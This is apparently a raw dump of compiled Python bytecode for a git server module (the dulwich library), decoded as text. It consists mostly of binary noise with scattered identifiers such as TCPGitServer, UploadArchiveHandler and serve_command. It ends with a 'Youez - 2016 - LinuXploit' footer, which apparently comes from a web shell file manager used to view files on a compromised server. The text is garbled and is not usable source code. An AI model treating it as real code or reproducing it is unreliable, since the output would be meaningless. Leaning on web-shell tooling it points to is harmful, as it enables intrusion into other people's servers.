�J�J�%�%�d�+��"�"�����j�j�&�&�(���;��(��-�	���$�$�T�*�����s�y�y�{�+��*�*�*�*�,�C��c�
�!�!�+�.�����k�*����7�8�8�����'�9rP)r�r�r�r�)rTrUrVrWrXrxr�rrqr�r�rr�r�r�r�rYr�r�s@rNr�r��s����B�IN�-�	
�-�-��
�X�e�_�
��
�:���u�e�U�2�3�4�:�	
�e�E�5�L�!�	"�:�x�T�%��u��*=�%>��4��6	Y�.(�.(rPr�c�:^�\rSrSrSSU4SjjjrSSjrSrU=r$)�UploadArchiveHandleriXc�X>�[TU]XU5 URUS5Ulg)Nr)r�rxrKr�)rLr�r�r�r�r�s     �rNrx�UploadArchiveHandler.__init__Ys(���
�����7��+�+�D��G�4��	rPc�>^�U4Sjn/nTRR5HKnURSS5upEUS:wa[SU35eUR	URS55 MM SnSnS	nTRRn	U[U5:a�X(n
U
S
:Xa
US-
nX(nOWU
S:XaUS-
nX(RS5nO8TRRU
nU	[[X�5RnUS-
nU[U5:aM�TRRS
5 TRRS5 [U	W[ R "5XgS9Hn
U"U
5 M
 TRRS5 g)Nc�D>�TRR[U5$rnr�)�xrLs �rNr��*UploadArchiveHandler.handle.<locals>.write^s����:�:�,�,�-C�Q�G�GrPrr
sargumentzunknown command rrP�tarrs--prefixs--formatr�sACK)�mtime�prefixr~)r��read_pkt_seqrrrrr�r\r��decoder]rr�treer�r�time)rLr��	arguments�pkt�keyrdr�r~r^r�argument�
commit_shar�chunks`             rNr��UploadArchiveHandler.handle]s}���	H��	��:�:�*�*�,�C��9�9�T�1�-�L�S��k�!�&�)9�#��'?�@�@����U�\�\�%�0�1�	-�
����
��!%���!7�!7���#�i�.� � �|�H��;�&��Q���"����[�(��Q���"��,�,�W�5��!�Y�Y�^�^�H�5�
��T�&�%�*;�<�A�A�B��
��F�A��#�i�.� �	
�
�
�!�!�&�)��
�
�!�!�$�'���4�t�y�y�{�6�
�E�
�%�L�
�	
�
�
�!�!�$�'rP�r�r�r�)rTrUrVrWrxr�rYr�r�s@rNr�r�Xs���5�5� (� (rPr�)sgit-upload-packsgit-receive-packsgit-upload-archivec�(�\rSrSrSSjrSSjrSrg)�TCPGitRequestHandleri�Nc�X�Xl[RR"U/UQ70UD6 grn)�handlers�socketserver�StreamRequestHandlerrx)rLrr�r�s    rNrx�TCPGitRequestHandler.__init__�s%�� �
��)�)�2�2�4�I�$�I�&�IrPc��[URRURR5nUR5up#[RSX#5 URRUS5n[U5(d[SU35eU"URRX15nUR5 g)NzHandling %s request, args=%szInvalid service )r8�
connectionr��wfiler��read_cmdr{r�rr�callabler�serverr�r�)rLr�r	r�r�r9s      rNr��TCPGitRequestHandler.handle�s���"�4�?�?�#7�#7����9I�9I�J�����(�
�����2�G�B��m�m�����.����}�}�"�%5�g�Y�#?�@�@�����#�#�T�1��	���
rP)rr�)rTrUrVrWrxr�rYrQrPrNr
r
�s
��J�	rPr
c�t�\rSrSrSr\RRrSr	\
S4S
SjjrS\4Sjr
S
SjrS	rg)�TCPGitServeri�Tc�4�[UR/UQ70UD6$rn)r
r)rLr�r�s   rN�
_make_handler�TCPGitServer._make_handler�s��#�D�M�M�C�D�C�F�C�CrPNrRc��[[5UlUbURRU5 Xl[
R
SX#5 [RRXU4UR5 g)Nz&Listening for TCP connections on %s:%d)rp�DEFAULT_HANDLERSrr�r�r{r�r�	TCPServerrxr)rLr��listen_addr�portrs     rNrx�TCPGitServer.__init__�s\���-�.��
����M�M� � ��*������<�k�P����'�'��D�.A�4�CU�CU�VrPc�0�[RSU5 g)NzHandling request from %sT)r{r��rL�request�client_addresss   rN�verify_request�TCPGitServer.verify_request�s�����.��?�rPc�0�[RSU5 g)Nz7Exception happened during processing of request from %s)r{�	exceptionr&s   rN�handle_error�TCPGitServer.handle_error�s�����H��	
rP)r�rr�)rTrUrVrW�allow_reuse_addressrr!�
serve_forever�serverr5rxr�r)r-rYrQrPrNrr�s=�����"�"�0�0�E�D�3?��W����
rPrc	�~�SSKnUR5nURSSSSSS9 URS	S
S[[SS
9 URU5up4[R"5 [U5S:�aUSnOSn[U5n[XcRUR5nUR5 g)z*Entry point for starting a TCP git server.rNz-lz--listen_address�listen_address�	localhostzBinding IP address.)�dest�default�helpz-pz--portr#zBinding TCP port.)r5�typer6r7r
r�)�optparse�OptionParser�
add_optionrr5�
parse_argsr	�default_logging_configr�r�rr3r#r0)�argvr9�parser�optionsr��gitdirr�rs        rN�mainrB�s����
�
"�
"�
$�F�
�����
��
"��������
�
��
 �
���%�%�d�+�M�G�
�$�$�&�
�4�y�1�}��a�������'�G�
�'�#9�#9�7�<�<�
H�F�
���rPc�^�Uc
[5nSU4Sjjn[URU5nU"X!SSU5nUR5 g)a�Serve a single command.

This is mostly useful for the implementation of commands used by e.g.
git+ssh.

Args:
  handler_cls: `Handler` class to use for the request
  argv: execv-style command-line arguments. Defaults to sys.argv.
  backend: `Backend` to use
  inf: File-like object to read from, defaults to standard input.
  outf: File-like object to write to, defaults to standard output.
Returns: Exit code for use with sys.exit. 0 on success, 1 on failure.
Nc�H>�TRU5 TR5 grn)r�r�)�data�outfs �rN�send_fn�serve_command.<locals>.send_fn�s����
�
�4���
�
�rPr
rr�)r�rr�r�)�handler_clsr>r��infrFrGr�rHs    `   rN�
serve_commandrK�sH��� ��#�%���
�S�X�X�w�'�E��'���8�U�3�G��N�N��rPc�L�UR5n[XR5$)zGenerate an info refs file.)rarDr\)r�r]s  rN�generate_info_refsrM�s���=�=�?�D��4�!2�!2�3�3rPc#�# �URRH5nS[R"URR
5-S-v� M7 g7f)z Generate an index for for packs.sP rN)r\�packsr��fsencoderE�filename)r��packs  rN�generate_objects_info_packsrS�s>����!�!�'�'���r�{�{�4�9�9�#5�#5�6�6��>�?�(�s�AAc�&�UR[RRSS5SR[	U555 UR[RRSSS5SR[U555 g)z�Generate server info for dumb file access.

This generates info/refs and objects/info/packs,
similar to "git update-server-info".
r�r]rP�objectsrON)�_put_named_filer�rMr�rMrSrs rN�update_server_inforW�sk��	���
�����V�V�$�c�h�h�/A�$�/G�&H��	���
�����Y���0����,�T�2�3�rP�__main__r�)|rXr)r�r�r�sysrr��collections.abcrr�	functoolsr�typingrrr�TypingProtocol�dulwichr	�archiver�errorsrr
rrrrrr\rrUrrrrRrrr�protocolrrrrrrr r!r"r#r$r%r&r'r(r)r*r+r,r-r.r/r0r1r2r3r4r5r6r7r8r9r:r;r<r=r>r?r@rAr]rBrCrDr�rE�	getLoggerrTr{rGrSrsr�r�r�r�r
r'r�r6r;r=r�r�r�r�r�r�r�r rr
r!rr>rB�stdin�stdoutrrKrMrSrWrQrPrN�<module>res0��.�.�	�
��
���.��!�-������#�3�3�S�S�*�*�*�*�*�*�*�*�*�*�*�VD�C��	�	�	�X�	&��8�8�'"�.�'"�T
�'�
� ���"	/�	/�6#�'�6#�rG(��G(�T(K�V& ��& �R�?��d��.���$��."�"�U2�U2�p'��d�;��)�1�)�X8�0�8�v>�&8�>�Be(��e(�P%(�7�%(�T*�+�/����<�<�<��"
�<�)�)�
�4�h�h��D�h�h��#�)�)�#�*�*�
��
�<4�@�
� �z���F�rP

Youez - 2016 - github.com/yon3zu
LinuXploit